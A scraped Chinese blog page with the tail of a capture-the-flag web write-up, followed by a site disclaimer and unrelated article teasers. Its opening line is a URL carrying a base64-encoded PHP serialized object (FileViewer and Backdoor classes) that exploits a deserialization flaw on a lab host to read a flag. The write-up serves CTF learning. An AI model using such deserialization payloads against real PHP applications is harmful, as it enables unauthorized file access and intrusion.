http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

得到flag

image-20230830013157373

base64解码后得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/101648.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ESP32C3 LuatOS RC522①写入数据并读取M1卡

LuatOS RC522官方示例 官方示例没有针对具体开发板&#xff0c;现以ESP32C3开发板为例。 选用的RC522模块 ESP32C3-CORE开发板 注意ESP32C3的 SPI引脚位置&#xff0c;SPI的id2 示例代码 -- LuaTools需要PROJECT和VERSION这两个信息 PROJECT "helloworld" VERSIO…

leecode学习(1)

一、题目 给定一个数组nums和一个目标值target,请你再该数组中找出和为目标值的那两个数&#xff0c;并返回数组的下标&#xff0c;你可以假设输入只会对应一个答案&#xff0c;但是数组的同一个元素不能使用两次。 二、解题思路 目的就是要求出两数之和等于目标值嘛。 就是…

Stable DIffusion系统教程 | 局部重绘,增删修改的魔法棒

目录 1. 基本操作 1.1 步骤1 补充提示词 1.2 步骤2 绘制蒙版 1.3 步骤3 参数设置 2.局部重绘其他应用 2.1 手绘蒙版 2.2 删除某些东西 之前我们熟悉了AI绘画的各类模型&#xff0c;提示词写法&#xff0c;图像放大等技巧。但我们目前所有的操作都是针对整张图片的。 但…

海康机器人工业相机SDK MVS安装教程

文章目录 一. 海康机器人介绍二. 工业相机客户端安装教程 一. 海康机器人介绍 海康机器人是面向全球的机器视觉和移动机器人产品及解决方案提供商&#xff0c;业务聚焦于工业物联网、智慧物流和智能制造&#xff0c;构建开放合作生态&#xff0c;为工业和物流领域用户提供服务…

解决:在宝塔站点上添加域名(8080,888等端口)显示“端口范围不合法“

在宝塔上给站点添加域名访问时&#xff0c;有时候需要部署站点的端口为8080或者888端口。但是添加之后显示&#xff1a; 解决方法 点击宝塔上的文件 切换到根目录搜索 public.py 包含子目录 选择这个&#xff1a; 修改其中的checkport函数&#xff1a; 最后&#xff0c;重启面…

学生管理系统VueAjax版本

学生管理系统VueAjax版本 使用Vue和Ajax对原有学生管理系统进行优化 1.准备工作 创建AjaxResult类&#xff0c;对Ajax回传的信息封装在对象中 package com.grg.Result;/*** Author Grg* Date 2023/8/30 8:51* PackageName:com.grg.Result* ClassName: AjaxResult* Descript…

面试中的商业思维:如何展示你对业务的理解

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

水稻叶病害数据集(目标检测,yolo使用)

1.数据集文件夹 train文件夹&#xff08;44229张&#xff09;&#xff0c;test文件夹&#xff08;4741张&#xff09;&#xff0c;valid文件夹&#xff08;6000张&#xff09; 2.train文件夹展示 labels展示 标签txt展示 data.yaml文件展示 对数据集感兴趣的可以关注最后一行…

Leetcode1090. 受标签影响的最大值

思路&#xff1a;根据值从大到小排序&#xff0c;然后在加的时候判断是否达到标签上限即可&#xff0c;一开始想用字典做&#xff0c;但是题目说是集合却连续出现两个8&#xff0c;因此使用元组SortedList进行解决 class Solution:def largestValsFromLabels(self, values: li…

Hadoop 集群小文件归档 HAR、小文件优化 Uber 模式

文章目录 小文件归档 HAR小文件优化 Uber 模式 小文件归档 HAR 小文件归档是指将大量小文件合并成较大的文件&#xff0c;从而减少存储开销、元数据管理的开销以及处理时的任务调度开销。 这里我们通过 Hadoop Archive (HAR) 来进行实现&#xff0c;它是一种归档格式&#xf…

模拟电子技术基础学习笔记一 本征半导体

半导体器件是构成电子电路的基本元件&#xff0c;它们所用的材料是经过特殊加工且性能可控的半导体材料。 1.本征半导体 纯净的具有晶体结构的半导体称为本征半导体 2.共价键 两个或多个原子通过共用电子对而产生的一种化学键称为共价键&#xff08;covalent bond&#xff…

LeetCode刷题---Two Sum(一)

文章目录 &#x1f340;题目&#x1f340;解法一&#x1f340;解法二&#x1f340;哈希表 &#x1f340;题目 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每…

OpenCV(五):图像颜色空间转换

目录 1.图像颜色空间介绍 RGB 颜色空间 2.HSV 颜色空间 3.RGBA 颜色空间 2.图像数据类型间的互相转换convertTo() 3.不同颜色空间互相转换cvtColor() 4.Android JNI demo 1.图像颜色空间介绍 RGB 颜色空间 RGB 颜色空间是最常见的颜色表示方式之一&#xff0c;其中 R、…

第 3 章 栈和队列(单链队列)

1. 背景说明 队列(queue)是一种先进先出(first in first out,缩为 FIFO)的线性表。它只允许在表的一端进行插入&#xff0c;而在另一端删除元素。 2. 示例代码 1&#xff09;status.h /* DataStructure 预定义常量和类型头文件 */#ifndef STATUS_H #define STATUS_H/* 函数结果…

Lua学习(一)

lua基础学习 LUA 语言1. 什么是lua&#xff1f;1.1 准备工作 2. 基本语法2.1 注释2.2 标识符2.3 关键字2.4 全局变量 3. 数据类型4. 变量4.1 赋值语句 5. 循环5.1 while循环5.2 for循环5.3泛型for循环5.4 repeat until 循环5.5 break 语句 6. 流程控制6.1 if语句6.2 if else 语…

动态规划之连续乘积最大子数组 连续和最大子数组

一. 连续和最大子数组 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 1&#xff1a; 输入&#xff1a;nums [-2,1,-3,4,-1,2,1,-5,…

【Apollo学习笔记】——规划模块TASK之SPEED_HEURISTIC_OPTIMIZER

文章目录 前言SPEED_BOUNDS_PRIORI_DECIDER功能简介SPEED_BOUNDS_PRIORI_DECIDER相关配置SPEED_BOUNDS_PRIORI_DECIDER流程1. 对路程和时间进行采样以及速度限制2. 设计状态转移方程&#xff08;cost计算&#xff09;2.0 CalculateCostAt代价计算2.1 GetObstacleCost障碍物cost…

[dasctf]misc04

与他不说一模一样吧也差不多 第三届红明谷杯CTF-【MISC】-阿尼亚_keepb1ue的博客-CSDN客flag.zip需要解压密码&#xff0c;在图片中发现一串密文。一串乱码&#xff0c;尝试进行字符编码爆破。获取到密码&#xff1a;简单的编码。https://blog.csdn.net/qq_36618918/article/d…

RobotFramework中的常用变量

文章目录 前言 一 标量&#xff0c;列表和字典1. Scalar 变量1.1 在变量文件&#xff08;Variables&#xff09;中使用1.2 在测试用例&#xff08;TestCases&#xff09;中使用1.3 Scalar 变量的相关操作 2. List 变量2.1 在变量文件&#xff08;Variables&#xff09;中使用2.…

【Redis从头学-完结】Redis全景思维导图一览!耗时半个月专为Redis初学者打造!

&#x1f9d1;‍&#x1f4bb;作者名称&#xff1a;DaenCode &#x1f3a4;作者简介&#xff1a;CSDN实力新星&#xff0c;后端开发两年经验&#xff0c;曾担任甲方技术代表&#xff0c;业余独自创办智源恩创网络科技工作室。会点点Java相关技术栈、帆软报表、低代码平台快速开…
最新文章